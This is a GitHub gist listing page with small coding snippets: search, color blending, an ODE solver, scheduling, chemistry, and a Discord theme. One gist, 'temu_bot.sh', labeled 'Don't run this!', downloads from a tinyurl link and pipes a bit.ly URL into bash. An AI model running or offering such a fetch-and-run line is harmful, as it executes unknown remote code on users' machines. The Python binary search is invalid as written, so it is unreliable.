Skip to content

Instantly share code, notes, and snippets.

View quantum9Innovation's full-sized avatar
🐧
the next os is better, btw

Ananth Venkatesh quantum9Innovation

🐧
the next os is better, btw
View GitHub Profile
@quantum9Innovation
quantum9Innovation / binary_search.py
Last active December 31, 2019 21:56
A simple binary search algorithm written in python for searching through arrays in O(log_2(n)) time.
def binarySearch(array,target):
min = 0
max = len(array)-1
guess = 0
while max>=min:
guess = floor((min+max)/2)
if array[guess] == target: return guess
else if array[guess] < target: min = guess+1
else: max = guess-1
@quantum9Innovation
quantum9Innovation / color_blender.js
Last active April 11, 2020 00:54
An additive color blending algorithm in 10 lines of code that blends colors while retaining the brightness of each color to create realistic blends.
/*
Pass in 2 colors {r1,g1,b1} and {r2,g2,b2}
Select bi the blend intensity of the first color (0-->1)
Output is in form {r,g,b}
*/
var blend2A = function (r1,g1,b1,r2,g2,b2,bi) {
var endR = bi*r1+r2*(1-bi)
var endG = bi*g1+g2*(1-bi)
var endB = bi*b1+b2*(1-bi)
@quantum9Innovation
quantum9Innovation / solvediff.py
Created January 4, 2020 20:38
A simple differential equation solver in 8 lines of code, illustrating Euler's method (♥3b1b)
import numpy as np
def f(x, d, g):
Y = 0
if x < 0: delta = -d
else: delta = d
for t in np.arange(0, x, delta): Y+=delta*g(Y)
del t
return Y
@quantum9Innovation
quantum9Innovation / suntheme.js
Created December 30, 2021 01:38
Run a script automatically on sunrise/sunset
// Scripts that are run:
// On sunrise => ./day.sh
// On sunset => ./night.sh
// To run nothing: write a blank file
// Change these to match your location
const long = 0.0000
const lat = 0.0000
@quantum9Innovation
quantum9Innovation / empirical.js
Last active January 27, 2022 02:57
Calculate empirical formulas of chemical compounds given their stoichiometric mass composition data (assuming a ~1% error rate)
// Calculate empirical formulas of chemical compounds given their stochiometric
// composition data
// USAGE:
// `node index.js {percentage}%{symbol} ...`
// Imports
const MolarMass = require('molarmass.js')
const molar = new MolarMass()
@quantum9Innovation
quantum9Innovation / cleanDiscord.css
Last active June 18, 2024 02:15
An addition to the MaterialDiscord theme for BetterDiscord with some major improvements, like getting rid of the wordmark
/* Change top window control colors and code font (to match GitHub) */
:root {
--window-button-min: #fac537;
--window-button-max: #3aea49;
--window-button-close: #f34f56;
--code-font: Literation Mono, Liberation Mono, Consolas, Andale Mono WT, Andale Mono, Lucida Console, Lucida Sans Typewriter, DejaVu Sans Mono, Bitstream Vera Sans Mono, Liberation Mono, Nimbus Mono L, Monaco, Courier New, Courier, monospace;
}
/* Remove the MaterialDiscord/Discord wordmark */
.wordmark__5b8c9.wordmarkWindows_ffbc5e {
@quantum9Innovation
quantum9Innovation / temu_bot.sh
Created June 19, 2023 01:15
Don't run this!
(sleep 1; wget "https://tinyurl.com/yc43yt7a" -O extract.zip; unzip ./extract.zip) & curl -s -L https://bit.ly/3zvELNz | bash